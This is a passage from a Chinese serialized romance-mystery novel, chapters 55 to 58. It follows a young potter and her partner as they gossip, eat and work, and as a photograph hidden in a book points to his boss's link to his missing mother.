二楼雕刻间只剩下梁喜和另外两个姐姐,她俩多数时候忙着烧陶,理货,还要兼顾一楼前来咨询的顾客,梁喜一个人的时候比较多。
许京平的花还在送,大家都习惯了,谁在一楼谁收,收完插花瓶里,满屋都是玫瑰花香。
梁喜这几天都在忙林格的订单,林格主动加了梁喜微信,打过招呼后什么也没聊,朋友圈倒是发得勤,张张照片打扮精致,不是喝下午茶,就是风景照,或者和朋友开 party,无忧无虑的富家千金,和梁喜这种普通老百姓完全处于两个世界。
虽然接触时间短,但梁喜觉得林格很坦率,想说什么说什么,比较直接,不像周靖哲总藏着阴损心思。
林格要的定制品里面第一件做好的成品是座观音,老王做的,之前介绍的时候他跟林格说黑陶内含活性炭,能吸附室内有害气体天,净化空气,林格说正好她爸给她新买的别墅在装修,因为她爸信佛,所以想摆在新家,另外还有一对老王自己珍藏的麒麟成品,林格想买,但老王不卖,最后架不住林格软磨硬泡,以二十万成交。
老王不是拿架子,是真心不想卖,考虑林格是刘俊华的关系,他没法得罪,只能忍痛割爱。
除了上面两件,还有一件是林格指定让梁喜做的,雕工非常繁琐,梁喜不确定自己能不能做好,苦练好几日,饭都顾不上吃。
下午崔影带了好吃的前来慰问,特别懂事地给另外两位姐姐带了蛋糕。
梁喜从洗手间出来,撞见崔影上楼,“这么快到了?”
“你咋又瘦了?”
“没有,衣服显的。”
梁喜看她手里拎的纸袋,“拿的啥?”
“佛跳墙。”
“拉倒吧,你跳墙还差不多。”
崔影踢她一脚,梁喜笑着跑开,招呼崔影进屋。
打开纸袋,崔影一一往出拿,“给你带了辣白菜,一盒给你,一盒你可以送给唐姨,听信航说他妈也爱吃,我还带了两个菜,香喷喷的大米饭,炫吧。”
崔影摆了满满一桌,见袋子空了,梁喜站起来拿手机用俯视的角度拍了一张全景,发到朋友圈并附文:“今天请让我撑死在这花花世界。”
发完把手机扔一边开吃。
崔影中午吃过饭了,她坐到一旁看着梁喜吃,“味道怎么样?”
梁喜没工夫回话,竖起大拇指。
崔影不打扰她,拿出手机玩,刷到梁喜发的那条,笑了声:“速度够快的,就是拍照技术不咋地。”
“凑合看吧。”
“忘了问你,你过生日路崇宁给你买礼物了吗?”
“买了。”
“什么?”
梁喜把窗台上的包递给崔影,她拿过摸了摸,“哎呀!好几千呢,路崇宁出息了。”
梁喜笑笑,收回去,继续吃饭,肥牛锅的酱汁很下饭,梁喜舀了几勺拌饭一起吃。
“你俩到底睡没睡呢?”
“咳!”
梁喜呛得猛咳几声,下意识找水喝。
崔影淡定拧开瓶盖递过去,“又不是小孩子,慌什么?”
等梁喜平复,瞪了崔影一眼,“差点儿给我送走。”
“别避重就轻,睡了吗?”
“没有。”
“路崇宁二十来岁一个大小伙子,血气方刚的,是不是那方面不行啊?”
崔影忽然想到梁喜前两天跟她说的富家千金,问:“富二代在你师父这消费多少啊?”
“三十多万吧。”
“三十万?真他妈有钱,你最近着了哪条道?怎么竟惹这些有钱人?”
“我也不知道,改天找人算算。”
崔影建议说:“还找啥人呐,我带你去青云寺拜拜得了,我妈说青云寺很灵,当年我考大学的时候她就去
了,结果呢,清华北大没考上。”
梁喜摆手,“别逗我了,一会儿又呛着,等放假去溜达溜达呗,全当散心了。”
“好呀。”
电话在桌角震动,梁喜看了眼是路崇宁,接起,“喂。”
“吃饭。”
“干活了。”
“行。”
说完挂断,崔影问:“许京平啊?”
“路崇宁。”
崔影用一种无法言喻的眼神看梁喜,她擦擦嘴,“怎么了?”
“你俩平时交流这么简单吗?”
“嗯哼~”
果然熟人局对话最简单明了,难猜的,从来只有暗涌的心意。
第55章 第五十五章 伪装身份去全喜村打探。……
孟相帆在信航家紧急“培训后, 被信航批准第二天正式“上岗”,化身宽带营业员,送爱心到老乡家。
信航给他安排的身份, 孟相帆表示非常满意, 正好他会捅咕几下,要是村民实在把他问住了, 还可以偷偷上网查。
出发日, 孟相帆把留了很久的胡子刮掉, 面目和善, 看起来好人一个, 穿上在劳保店买的工装,戴上帽子,开着租来的车前往全喜村, 走之前路崇宁再三叮嘱注意安全,把信航交代的记清楚。
孟相帆拍拍胸脯,“放心,全程录音, 回来让警察哥哥审判。”
信航摩拳擦掌, 跃跃欲试, 要不是他受伤, 真想自己去, 可路崇宁安排孟相帆就是不想让熟脸打草惊蛇, 无奈信航只能干出主意的活。
开到全喜村,孟相帆先带事先买好的水果去二舅家, 聊天时说起宽带的事,孟相帆让他妈帮忙撒了谎,说最近不爬雪山了, 回化城找份稳定工作,领导对他有考核指标,所以来村里问问各家各户有没有安装宽带的需求,但二舅家前年安装了,有点不好意思,孟相帆说没事,转而跟二舅唠起家常。
“你们村建得真漂亮,还有水库,以后发展肯定好。”
二舅:“这不是老马家祖坟冒青烟,出了个人物嘛!给村里修路建学校,还帮村里年轻人介绍工作。”
“当大官的啊?”
“不是,做生意。”
舅妈端着不锈钢盆过来,里面装满洗得水灵灵的黄瓜和西红柿,都是自家园子种的,看着就好吃。
盆放到孟相帆旁边的凳子上,舅妈推了下二舅,“又聊村里的大善人呐?马国兴生了个好儿子。”
“谢谢舅妈。”
舅妈笑着去里屋看电视,让他俩接着聊。
二舅挑了个大红柿子塞给孟相帆,“他儿子叫马有原,当年跟我还是同学呢,我们那个班,别说班级了,整个学校都没他有出息,跟我家前后院,上学那会儿经常一起走。”
孟相帆边吃柿子边往前张望,“哪家啊?”
二舅往左前方指,“马国兴两口子死得早,房子多少年没人住了,一直空着,不过外墙是后来新建的,好家伙,有两米高,还修了气派的大门,说是为了保护老房子,不准外人进。”
孟相帆望着那堵青灰色的高墙,佯装羡慕地“啧啧”一声,“我要是有钱也回来建设家乡,马有原做啥生意能赚那么多钱?”
“不知道,他初中毕业后没再上学,唉,家里穷,十几岁就去化城打工了,后来再没见过,人家现在身份不一样,早忘了我这个老同学了。”
“那他爸妈埋哪了?清明节不回来烧纸啊?”
“村长说他每年都回来祭祖,但没人亲眼见过,整得神神秘秘。”
二舅说到这停顿一下,“这人啊,一旦赚了大钱很难有不飘的,马有原能有心给村里修路已经不错了,回不回来看又能怎么样,反正这里没他牵挂的活人。”
“他家只有他一个孩子吗?”
“还有个妹妹,疯了,可惜,一天福没享受到。”
孟相帆跟着共情似的叹了口气,“同人不同命啊!”
说完掏出手机,“一般企业家网上都能查着,我帮你查查。”
孟相帆故意打错一个字,把手机给二舅看,“是叫这个名吗?”
“不对,草原的原。”
“噢。”
修改完出来好多词条,依次往下扒拉,二舅越看眉头皱得越深,“都不是啊。”
孟相帆把手机收回去,“可能人家低调,不愿露面。”
往下没法深问,他又不是侧写师,即便二舅能简单描述样貌,他也画不出来。
“诶!我想起来了,家里好像有初中毕业的合照,丽萍啊!”
二舅妈闻话出来,二舅问:“我初中毕业的照片你记得放哪了吗?”
“我哪知道。”
“咱家大事小情不都你说得算吗?”
二舅妈笑笑,“等着,我进屋找找。”
孟相帆感觉有戏,等了几分钟,果然二舅妈拿着一张旧照片出来,递给二舅,“年头太多,我都看不清哪个是你。”
二舅接过,辨认半天才找出来,“这个不就是我嘛,年轻时正经挺精神呢。”
他又依次看向别的同学,确实都很模糊,有的眼睛看不清,有的的鼻子干脆磨没了。
照片递给孟相帆,二舅说:“边上这个应该是马有原,不过脸不清楚,感觉上挺像。”
孟相帆的眼睛一下大一下小,辨认半天也没看清。
“一晃几十年,经不起细想,我上学那会儿体育可好了,尤其是长跑,连体育老师都夸我有天赋。”
趁着二舅忆往昔,孟相帆偷偷拍了张照,虽然看不清,但也算跟信航和路崇宁有个交代。
吃完两个柿子一根黄瓜,孟相帆感觉在二舅家待得差不多了,还要去别家,他起身告别。
二舅抬头看了看天,“好像要下雨,天气预报早上报了今天有雨。”
孟相帆见乌云涌动,“没事,办完事我就开车回去了。”
二舅又说中午如果不走的话来家里吃饭,他欣然答应,从包里掏出一个本子,像模像样地问:“周胜家在哪啊?”
“问他干啥?”
“一个朋友介绍的,让我过去问问他家安不安。”
“你顺着前面那条道走,门前挂着两个大红灯笼的人家就是,不过他爸岁数大了,应该不会安,周胜那个人算了,不说了,你去看看吧。”
“好嘞二舅,那我先走,有时间再来看你。”
“欸,慢走啊,相帆。”
暴雨像个警告的信号,风把团云往一边推,也把人推向避风之处。
从二舅家前院出去,走了不到二百米孟相帆便看见了红灯笼,门敞着,一个大爷正在园子里揪豆角。
“大爷你好。”孟相帆笑着走进去,“请问你家有宽带吗?”
“啥带?”
“宽带。”
大爷眨眨眼,似懂非懂,“腰带啊?我有,不买。”
说着大爷撩起他的老头衫,露出黑色腰带,看样子还是真皮的呢。
孟相帆笑得不行,“您平时上网吗?跟孩子视频聊天什么的。”
“不聊,我儿子一年能打俩电话就不错了。”
“您一个人住啊?”
“老伴走得早,剩我自己,你不是我们村的吧?来干啥?”
得,白聊了
孟相帆把来意耐心细致解释一遍,又报了二舅的大名,周大爷从园子里缓缓出来,招呼孟相帆,“来,孩子,进屋喝水。”
“麻烦您了,大爷。”
“都是一村人,别客气。”
孟相帆打量周大爷的家,外面看着就是普通的东北农村房子,屋里装修得却跟城里楼房一样,卫生间马桶淋浴一应俱全,各种电器也是大牌子,条件比二舅家好多了。
孟相帆粗略估算一下,没十万装修不下来,甚至更多,路崇宁跟他说周胜之前在小区超市打工,一个月撑死赚三千四千,还得刨除个人花销,虽然现在在路崇宁他们公司,但一个小超市的理货员直接跨步到项目工程上当主管,可
不是谁想去就能去的。
“大爷,您家装得不错。”
“我儿子弄的,为了让我住着舒服点,他在外面挣大钱呢。”
“真孝顺,干什么工作啊?”
“我也不知道,一天天瞎忙,高中毕业后没考上大学,我送他跟一个亲戚学炒火锅底料,后来把手烫伤,说啥也不干了。”
周大爷端来一杯水递给孟相帆,指着灯色塑料凳,“坐。”
“哎。”
孟相帆扭头看见衣柜上的照片墙,扫了一眼,有一家三口的照片,还有也是一家三口,不过是周胜跟老婆孩子。
“这是孙子还是孙女啊?长得真好看。”
周大爷看过去,沉沉叹了口气,“好看有啥用,出车祸死了,儿媳妇跟孙女都没了,我家周胜伤心过度,这些年一直单着,我一催就跟我吵吵,现在干脆不回家了。”
孟相帆安慰他,“现在年轻人都不咋回家,我也是。”
窗外传来几声惊雷,仿佛要把天际劈开一般,周大爷说:“我去把酱缸盖一下,你先坐着。”
趁他出去,孟相帆四处瞅了一圈,见没有监控,于是掏出手机拍了几张照片,做贼似的偷偷摸摸,手心都出汗了。
等周大爷回来,孟相帆又跟他套话,但没什么有用信息,东家长西家短,感觉很长时间没人陪老爷子说过话了,聊起来有点没完没了,孟相帆说还要去别家,什么时候来村里再陪大爷唠嗑。
后边象征性又走了几家才开车返回化城,路上大雨瓢泼,崩了满车泥,孟相帆给洗干净了才还回去
在家憋了一个多星期,信航瘸着一条腿拄拐到梁喜家,被她嘲笑身残志坚。
“不在家好好养着,来干嘛?”
“来看小宁,不行啊?”
梁喜担忧地看着信航的腿,“哪天拆石膏?”
“明天。”
“你直接穿鞋进吧,别换鞋了。”
梁喜扶着信航走到沙发坐下,“路崇宁还没回来呢。”
“刚才打过电话了,十分钟到家。”
梁喜从冰箱拿了一瓶牛奶递给信航,“喝吧,补补钙。”
“我妈灌了我一箱,我现在看见牛奶就想吐。”
梁喜坐他旁边,打开老王刚发过来的资料。
“看啥呢?”
“下个月省台要来工作室录节目,我师父给我发了一份准备资料。”
“行啊!要上电视啦?”
“不一定,谁出镜看我师父安排。”
信航把吸管插上,“你师父但凡清醒点都得让你去啊,长这么好看不出镜白瞎了。”
这时门打开,路崇宁带着孟相帆进屋,手里拿着几个外带的菜,梁喜没让路崇宁买饭,她在家焖了一大锅
吃完饭,那仨人说要去打台球,梁喜把能带的垃圾都收好,路崇宁带下去。
等门关上,屋里瞬间安静,也干净了,梁喜站在阳台上,看向三个男人说说笑笑远去的背影,信航在中间,走得一瘸一拐,孟相帆要搀扶,被他无情拒绝。
而路崇宁突然扬起手臂在空中摆了几下,动作尽数落在梁喜眼底,化成一道短暂告别的声音。
他怎么知道梁喜在楼上看他?
第56章 第五十六章 《大唐西域记》里夹的照片……
台球厅烟雾缭绕, 笑声不绝于耳,偶尔掺杂几声国骂。
信航上次和路崇宁在这玩的时候充了钱,还剩一些, 打算今天全花光。
他们仨没着急开球, 而是坐在台球案旁边的沙发聊天。
从全喜村返回化城,孟相帆第一时间将录音发给路崇宁和信航, 他俩听完才约晚上在梁喜家见面, 把整件事捋一遍。
“这照片咋模糊成这样?”
路崇宁看眼信航, 他马上解释, “我是说原件, 感觉有年头了。”
孟相帆指着照片里的马有原,“你看,根本看不清脸, 磨没了。”
只剩下校服还算清晰,因为所有人都一样。
孟相帆试探问道:“信航,你不能查到马有原的照片吗?”
“不涉及案件,我们规定不能随便查居民信息, 但是我想办法吧。”
路崇宁怕为难信航, 说:“可能是我想多了, 梁叔留下的信息有别的指向。”
孟相帆比较坚持自己的想法, “除了跟你家有关还能因为什么, 说不定再坚持一下就能找到杨姨呢。”
眼前闪过多年前别墅里一家三口的温馨场景, 路崇宁不禁掏出烟点上,狠吸一口来平复心头暗涌的情绪, 他一边期望能查到他妈的下落,又怕结果不好,天人两隔
信航跟路崇宁要烟, 他不给,“等身体好了再说。”
“腿伤了,又不是别的地方,我都吸半天二手烟了,赶紧给我。”
还是孟相帆心软,递过去一根,给他点上。
“来一杆吧!”信航撑着沙发扶手站起来。
孟相帆眼神充满质疑,“你行不行?要不让小宁上吧?”
“你让我过过手瘾,在家都要憋疯了。”
孟相帆把球杆递给信航,转头对路崇宁说:“看我怎么虐他。”
路崇宁没回应,笑得意味深长。
果然一局过后孟相帆输了,实惨。
他坐到路崇宁旁边,问:“信航这实力你倒是早跟我说啊。”
“等他好了你带他去爬雪山,一样虐他。”
孟相帆有被安慰到,“嘿嘿”笑了声,“也是。”
第二局信航歇着,换路崇宁跟孟相帆对战,开球前孟相帆问他:“你出去这几年玩了吗?”
“一次没有。”
“那我就放心了。”
这回换信航不怀好笑。
第二局比第一局结束得快,孟相帆耸拉着脑袋,对信航说:“我算知道了,你们哥俩没一个好人。”
信航笑得上气不接下气,路崇宁把球杆立在球案边,说:“走,去买点喝的,刷信航的卡。”
“走走走!刷爆他!”
孟相帆脚步飞快,誓要把冰箱清空
晚上九点,梁喜看完一部电影后关掉电脑,想看会儿书缓解一下视疲劳。
桌边码着一摞近期翻过的书,有的看完了,有的看了一半,而最底下的《大唐西域记》只看了十几页,梁喜把它抽出来,躺到床上打开。
这本书是文言和翻译对照的,看起来比较方便,梁喜有时看着看着译文就被原文吸引过去,奇怪,她上学时可没这劲头。
大概看了二十多页,路崇宁回来了,他没带钥匙,给梁喜发信息开门,她赶忙把书扔一旁,下床时脚趾不小心勾到被子,书从床边掉落,倒扣地上,她顾不上捡,先去开门。
只有路崇宁一个人,梁喜问:“他俩呢?”
“回去了。”
路崇宁换鞋,梁喜转身回屋,把地上的书捡起来,“嗖”地一下,有什么东西从书里掉落,飘到床底,一晃眼,好像纸张。
梁喜把书放床上,双膝跪地撅着屁股往床下看,纸飘得有点远,她起身要找扫把,路崇宁进屋拉起她,问:“干嘛?”
“东西掉床底下了。”
路崇宁把梁喜拽到一边,换他跪地去捡。
臂长果然有好处,路崇宁轻易就捡到了,他站起来,刚要递给梁喜却又突然撤回,盯着那张纸看。
“什么呀?”
梁喜走到路崇宁身旁,看清后同样愣住。
这不是一张纸,而是一张照片,上面有两个人,一个是杨婉仪,另一个是刘俊华?很像。
照片右下角有标注时间:1997年1月,背景是以前老式照相馆里搭的内景。
路崇宁怕自己看错,特意把卧室灯调到最亮那一档,终于确认照片里的人就是他妈和刘俊华。
“翻过来,后面好像有字。”
见路崇宁还愣着,梁喜伸手把照片翻过去,一行小字映入眼前——杨婉仪、马有原,合影留念。
见到这行字,路崇宁拿照片的手有点不稳,什么情况?难不成刘俊华就是马有原吗?!!!
如果猜想正确的话,那很多事情相互串联后一下能解释通了,而且合理。
两人或许在1997年左右是情侣关系,后来分手,杨婉仪与路召庆相识相恋,马有原出于不甘,几次三番找上杨婉仪,梁辰义为帮朋友而入狱,这之后马有原离开化城南下打拼。
只是2014那年到底发
生了什么?让路召庆财产尽失,最后以自杀收场,杨婉仪从此杳无音讯
梁喜虽不是当事人,但她知道此刻路崇宁有多崩溃,她拍拍路崇宁肩膀,说:“这事儿有点复杂,还得从长计议,你和信航商量商量,暂时别跟你老板提,如果杨姨失踪跟他有关系,以他的财力和地位,指不定会做出什么事来。”
路崇宁缓缓神,“这张照片怎么会在你这?”
梁喜把《大唐西域记》递给他,“还记得这本书吗?之前我给刘俊华送黑陶,有个笔筒碎了,我又给补了两个,送过去的时候看见这本书在刘俊华办公室书架上,他见我感兴趣送给我的,一直忙也没怎么看,没想到里面竟然夹着这张照片。”
路崇宁缓缓坐下,还盯着手里的照片,“喜喜。”
“嗯。”
“我妈可能真的已经不在了。”
“生要见人,死要见尸,我陪你找。”
等情绪有所平复,路崇宁说:“如果刘俊华找你问,你就说书你看完了,里面没夹什么东西。”
“我知道怎么说,放心。”
“睡吧。”
他关上门,带走了那张照片
第二天上班,路崇宁收到信航发来的信息,他说他想办法查马有原的户籍信息,让路崇宁安心上班。
路崇宁给他回复:“不用了,我下班去找你。”
等到晚上下班他直奔信航家,然而先看到照片的人是信民。
“民叔,他是马有原吗?”
信民把花镜带上,仔细看了看,没说是否,而是问:“这张照片你从哪得来的?”
“看来是他。”
信民又把照片递给唐姨,唐姨看到杨婉仪的脸,心里一阵难受,转头叹了口气。
信航从厕所出来,路崇宁赶忙把照片拿走,去他那屋。
简单说完照片由来,信航分析说:“马有原应该离开化城去南方后换了身份,但是他再回到化城对你这么好,应该跟杨姨的失踪没关系吧?”
“总感觉不太对,说不上为什么。”
信航忽然想起马有平,“是不太对哈,既然他能对你这么好,为什么不管自己亲妹妹呢?哪怕一年见一面挺有意思。”
路崇宁说:“过几天我再去一趟安北精神病院。”
“我带你去,张姐认识我,好说话。”
“你上班吧,歇好多天了,单位那边不好交代。”
“没事,我这腿脚暂时也不能上阵抓人。”
“再说。”
刘俊华最近没在国内,路崇宁进出公司比较方便,起码刘俊华不会突然叫他去办公室,再者项目上的人工作时间有弹性,人事不抓他们考勤。
唐姨敲门进来,递给两人一人一根香蕉,说:“吃点甜的。”
心情会好些。
路崇宁明白唐姨什么意思,勉强笑笑,唐姨又关门出去。
看着手里的香蕉,路崇宁低头说道:“2014年马有原返回化城,我家的变故也是那一年。”
“你有没有听你爸说过,酒厂当年到底是谁给他投的钱?”
路崇宁摇摇头,“没听过,民叔知道吗?”
“我也没听我爸提过,等着,我去问问。”
路崇宁拉住信航,“等我走了再问。”
“行。”
这边路崇宁刚走,信航一刻不愿等,拉着信民去自己屋里开始问东问西。
“爸,你知道当年谁给路叔家酒厂投的钱吗?”
信民直接拆穿,“小宁让你问的吧?”
信航嘻嘻一笑,“我问和他问有啥不一样?”
“不一样,小宁问的话爸不会说。”
果然路崇宁的判断是对的。
信航让他爸坐床上,“那是路家的事,小宁有知情权。”
“是有知情权,但我也要替召庆好好照顾他唯一的儿子,你看小宁出国打工几年,把债还了,好不容易过上正常人的日子,又提过去的事干吗?”
信航刚要说什么,被信民打住,“我知道小宁想找他妈,可都过去这么久了,如果她还活着,能不回来找小宁吗?所以我觉得八成”
信航当警察这么久,知道生要见人,死要见尸,不能轻易下定论,他心里希望杨姨还活着,但就像他爸说的,几率非常低。
“儿子,我可以跟你说,但告不告诉小宁,你自己定。”
见他爸松口,信航赶忙点头。
信民从床上站起来,坐在一边凳子上,望向窗外说:“给召庆酒厂投资的人叫吴青。”
“吴青?!你和梁叔都认识的那个吴青?”
“对,就是他。”
第57章 第五十七章 手把手教学。
进入九月, 化城的暑气渐退,早晚温度降了一点,但中午还是很热。
周一, 另外两个姐姐休息, 老王出去参加考察学习活动了,工作室只有梁喜自己, 她听着音乐干活, 怡然自得。
下午三点多, 梁喜刚送走一位闲逛的顾客, 看见窗下站着一个人, 凑近看清,原来是佩姐,她也发现了梁喜, 飞快转过身去,但没走。
梁喜开门,叫了声“佩姐。”
“噢。”
佩姐转回来,眼睛泛红, 不知是要哭还是刚哭过, 她瘦了很多, 脸上有点挂不住肉, 皮肤松弛, 整个人很没精神。
“怎么不进屋?”
“没事, 我路过。”
梁喜把门敞开,“进来吧, 今天就我自己。”
后面一句是她故意说给佩姐听的,果然佩姐听完不像刚才那么犹豫,走过来, 跟着梁喜进屋。
毕竟一起共事过,梁喜跟她没什么客气的,进屋刚要找地方坐,佩姐说:“去后院吧,我想和你说会儿话。”
“行。”
梁喜把大门从里面反锁,带佩姐去后院。
之前暑期学校没人,连草都长高许多,最近开学了,操场上的草又被活力的高中生踩得矮下去,放眼望去,少了些夏日生机。
梁喜坐在长椅上望着操场方向,预感佩姐可能要问周靖哲的近况,或者讲述她那段无疾而终的爱情?
暂且称为爱吧。
“喜喜,最近工作室怎么样?”
“挺好的,师父赚了不少钱。”
梁喜转头冲佩姐笑笑,尽量让她放松些,别那么拘谨。
“真羡慕你。”
“什么?”
梁喜的确不知。
佩姐叹了口气,说:“我和周靖哲的事,你知道吧?”
“知道一点。”
梁喜能感觉到佩姐有强烈的诉说欲望,索性顺着她的话往下接。
佩姐吸吸鼻子,把眼泪往回压,“我和他在你来之前就好了,我老公在外面上班,常年不在家,家里大事小情全压在我一个人身上,周靖哲帮了我很多,后来我俩偷偷在一起了,不怕你笑话,我真的动过心,他年轻,体贴,对我很温柔,只是渐渐的我发现,他和我好只不过想利用我而已,利用我帮他介绍更多的顾客,利用我和老王认识的关系,为他多说好话,带他出去学习,见世面呵,要说利用,我何尝不也利用了他呢?在那段关系里面,我们是平等的。”
“后来我老公发现了,他没有打我,也没有骂我,他说只要关系断了,会原谅我,我抱着一丝侥幸找周靖哲摊牌,看他什么想法,结果和预料中一样,他说现在,此刻,马上分手,今后以同事身份相处,还把我联系方式删了,前段时间我看他出去学习,发了一张和其他女人的合照。”
梁喜不
禁脑袋冒问号,她没刷到过周靖哲发的这条,很可能他把梁喜屏蔽了,不过也好,眼不见为净。
佩姐接着说:“周靖哲应该忘了之前我用另一个微信也加过他,看到合照后我才下定决心把他彻底删了,既然他觉得这条路是捷径,那就继续走吧,摔倒也好,平步青云也好,都是他的命。”
把心里憋的话一次性说完,佩姐觉得舒服不少,她盯着地面,有点不敢看梁喜,生怕发现梁喜眼里异样的、鄙视的目光。
“周靖哲去参加比赛了,下周才回来,你要是不忙,可以常过来坐坐,王姐她俩经常念叨你呢。”
梁喜三言两句,交代了周靖哲的去向,也避开了佩姐讲的那些话,或许她心里做好了接受评判的准备,但梁喜只字未提,给了她体面。
“喜喜,你读了那么多书,为什么想回化城生活?”
“化城是生我养我的地方,没什么不好啊。”
梁喜的回答如此坦率,让佩姐意外,“你刚到工作室的时候周靖哲跟我说你是来跟他抢地盘的,没想到你性子这么沉稳,从没和他起过正面冲突,之前你从昆明带回来的资料,少的那本是周靖哲偷拿的。”
“都过去了,我不想和他计较。”
梁喜不确定佩姐说的话是否真心站在她的立场上,或许她心有不甘,揭露周靖哲会让她心里好受点,但感情这种事谁说得准,万一哪天两人重修旧好,梁喜依然是被排斥在外的角色,一时心软把自己当成对方的盟友可不见得有好下场。
“光顾着聊我了,你和许老师怎么样?”
“和之前一样,他是他,我是我。”
“喜喜,我真的很佩服你,守着那么一个有钱人可以不动心。”
梁喜无奈笑笑,“我就一颗心,总不能为了四面八方来的爱见一次动一次吧。”
“每个人都有人模狗样的一面,你还不知道吧?你师父年轻时跟一个学徒偷偷好了,你师娘知道后一点没闹,你师父心里有愧,选择和那女孩儿分开,但他想不到儿子竟然知道了这件事,虽然没挑破,总归心里结了疙瘩,所以毕业后留在天津不愿回家。”
过来人总习惯将自己血与泪的教训往下传,心是好的,道理也是对的,但不是对所有人都适配。
“其实周靖哲特别想成为许京平那样的人,年少学艺,家里条件好,现在事业有成,在黑陶届小有名声,而周靖哲呢,小时候家里很穷,住在化城的棚户区,后来有机会拆迁,他爸为了多要钱,和开发商起了冲突,被打死了,他妈把他抚养大,念到高中毕业,经人介绍送到你师父这来,他很能吃苦,也很上进,但你来之后王老师经常赞许你,还分走了周靖哲的学习机会,所以他才作出一些上不得台面的事,再加上许京平喜欢你,他更嫉妒了,既然努力过不行,只能另寻他路。”
那些周靖哲小心藏好的秘密,因为关系的破裂,被佩姐和盘托出,不知他会作何感想
佩姐见梁喜不说话,她看眼时间,说:“我得去接孩子了,回头再过来看你。”
“嗯。”
佩姐离开长椅,从后院回去,梁喜没送她,继续望着学校操场,试图用眼前干净纯粹的画面冲洗刚才听到的一切
隔了几天,周靖哲参加完比赛回来,见到梁喜第一句说:“我发挥不错。”
梁喜有种吃错东西的反胃感,硬挤出一丝尴尬的笑,“恭喜。”
“等获奖了请你吃饭。”
“不必,请师父吃吧。”
老王从楼上下来,看见周靖哲把他叫过去,两人聊了一下午,下班后还真要一起去吃饭,老王叫了梁喜,但她有活没干完,就是林格订的那件黑陶,第一次做的成品烧完梁喜自己不满意,又重新做。
到每天回家的时间,路崇宁打来电话。
“到哪了?”
“还在工作室,你晚上自己吃吧,不用等我。”
“我去找你。”
梁喜没拒绝,因为拒绝没用,路崇宁一向是行动派,说来一定来。
挂断电话,她想了想,用手机订了两个汉堡套餐,又告诉路崇宁不用带吃的,她买了。
二十分钟后路崇宁和外卖一起赶到,看见骑手的衣服,梁喜想到什么,进屋时问路崇宁,“你之前是不是给我订过粥?”
“难得,这辈子还能想起来。”
嘴真毒啊!梁喜朝他背影瞪了一眼,要不是手上沾满泥,她真想一巴掌拍过去。
路崇宁刚要把外卖袋放到收银台上,梁喜叫他,“去二楼吃。”
“好。”
虽然路崇宁没来过几次,但轻车熟路,走进工作间,他看到操作台上泥胚已经成型,是个花瓶的形状。
梁喜把手洗干净,随意在围裙上抹了几下,招呼路崇宁到一旁的桌子吃饭。
“最近这么忙吗?”
路崇宁把汉堡递给她。
梁喜冷哼一声,“给林小姐的,怕做不好丢师父的脸。”
“差不多就行,他们未必懂。”
“可是我懂,做得不好就是不好。”
梁喜咬了口汉堡,牛肉?她悄悄递给路崇宁,“你的。”
“等下。”
路崇宁把另一个汉堡打开同样咬了一口,还给梁喜。
她咬牙切齿,“幼稚。”
路崇宁笑笑,把鸡块和薯条放到梁喜面前,说:“取暖费我交了。”
“这么早?”
“楼下阿姨他们聊到取暖费,我问了一嘴。”
“每年我爸交,我都不知道去哪。”
“你不用知道,以后我来交。”
梁喜咬着汉堡,用余光看路崇宁,一句话撩拨心弦,他却像没事人一样。
“中午吃什么了?”他问梁喜。
“没吃。”
“早上呢?”
“喝了一杯美式。”
路崇宁冷脸,“再不吃饭这个班别上了。”
“又管我?”
他冷哼一声。
梁喜想起照片的事,“查着了吗?你老板那年回来都做了什么?”
“没有。”
“当年杨姨失踪,是我爸他们去派出所报警,民警肯定会走访问询,有些线索可能当时看没什么,跟现在的事联想一下说不定会有苗头。”
路崇宁若有所思,当年报警的时候他还小,虽然梁辰义跟信民带他一起去的,但有些话他们不让路崇宁听,所以他几乎不记得什么,后来他追问梁辰义,梁辰义只说还在找,慢慢几天一问变成一个月一问,再往后变成半年,一年路崇宁也逐渐接受了他妈不在身边的现实。
“当年报案的派出所应该在你们游乐场附近,你要不要再问问民叔?”
“吃吧,回头我问。”
“有进展告诉我。”
“好。”
梁喜感觉路崇宁只是随口答应,她要想知道什么,还得问信航。
吃完汉堡,路崇宁收拾垃圾,梁喜去陶轮那边继续干活。
他弄完擦擦手坐到对面,问:“我坐这影响你吗?”
“不影响。”梁喜抬头,“要不要试试?”
“别给你捣乱。”
“来。”
梁喜踢了下旁边陶轮的凳子,说:“你自己想捏什么捏什么,回头我帮你烧出来,留作纪念。”
路崇宁试探性地坐下,长腿窝着,有点不知所措。
梁喜打开陶轮,很快,路崇宁双手也沾满了泥,但他第一次体验,弄不好,陶泥瞬间变形,像一棵歪脖子树。
“我教你。”
梁喜双手覆到路崇宁手背,紧密贴合,带着他怎么用巧劲。
路崇宁又闻到梁喜身上熟悉的香气,心思跑偏,整个人僵住,完全不在正轨,随着陶轮旋转,带动两人的手相互摩擦,虽然隔着一层陶泥,但在路崇宁眼里可以忽略不计。
梁喜松手,“你自己试试看。”
哄小朋友做手工一样的语气,让路崇宁脑子里忽然冒出一个念头,说:“你再教我一次。”
动作重复,爱意才能百转千回,在心里留痕。
第58章 第五十八章 敬你,后会无期。
刘俊华去国外期间, 路崇宁几乎隔一天就能接到他打来的语音电话,都在晚上睡觉之前,因为
两人有时差。
电话里聊聊工作, 再聊点生活, 没话硬找,每次挂断后路崇宁的心情都不太好, 因为他会不自禁想到那张照片, 想到杨婉仪。
虽然对话如常, 但路崇宁知道刘俊华在给他开的那辆沃尔沃里安了窃听器, 当然老板本人不会动手, 有这辆车备用钥匙的一定是老板最信任的手下。
信航受伤那天,在医院路崇宁听他讲了这个猜想,因为之前跟在他们身后那辆车大概率不会白天跟踪信航, 太容易被识破,信航觉得是监视路崇宁的,所以等晚上洗车,路崇宁趁店员清洗内饰的时候仔细找了一圈, 果然找到了。
他不能拆, 一旦拆了对方就会警觉, 只能说话时小心一些, 同时孟相帆还配合他演戏, 特意问了一嘴他妈的下落, 路崇宁说:“多少年了,要是活着早找到了, 我不能一直沉浸在过去,生活还得朝前看。”
信航腿没好利索就回单位上班了,不过他最近有意和路崇宁少接触, 暗自帮他联系当年接手杨婉仪失踪案的派出所,这些年过去,当初承办的民警调走了,但幸好资料还在,只是没什么价值,路家出事后路召庆带着杨婉仪躲债,躲在哪没人知道,但路召庆死在杨家镇一处平房内,从现场痕迹看,他们夫妻应该在杨家镇生活了一段时间,那时候乡镇还没普及监控,所以没人知道杨婉仪后来去了哪里,也没有目击证人。
值得注意的是,杨家镇距离全喜村不到二十公里,行政划分上全喜村归杨家镇管辖。
